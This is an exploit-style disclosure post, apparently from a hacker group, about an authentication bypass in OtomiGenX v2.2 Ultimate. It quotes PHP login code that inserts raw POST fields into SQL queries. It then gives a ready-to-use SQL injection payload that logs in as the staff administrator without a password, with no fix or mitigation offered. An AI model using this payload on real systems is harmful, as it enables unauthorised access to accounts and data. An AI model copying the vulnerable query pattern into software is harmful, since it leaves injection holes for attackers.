OtomiGenX v2.2 Ultimate Authentication bypass Vulnerability

[hadihadi_zedehal_2006 () yahoo com]

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 #  ...::::: OtomiGenX v2.2 Ultimate  Authentication bypass Vulnerabilities ::::....  #           
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Virangar Security Team

www.virangar.net
www.virangar.ir
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Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) 
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                                .::::admin Authentication bypass vuln::::.
//vuln code in login.php:
...
..
...
line 29:

$passwd = md5($_POST[userPassword]);  // md5 hash password

if($_POST[userType] != 'Staff')
{$sql     = "SELECT userID, userName 
             FROM user_account 
             WHERE userAccount='$_POST[userAccount]' AND 
                     userPassword='$passwd' AND 
                     userType='$_POST[userType]' AND isApproved='1'";

}else
$sql      = "SELECT staffID, staffName, staffGroupID 
             FROM staff 
             WHERE staffAccount='$_POST[userAccount]' AND 
                     staffPassword='$passwd'";
...


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Exploit:
User Name:admin ' or 1=1/*
Password :[whatever]
usertype:staff
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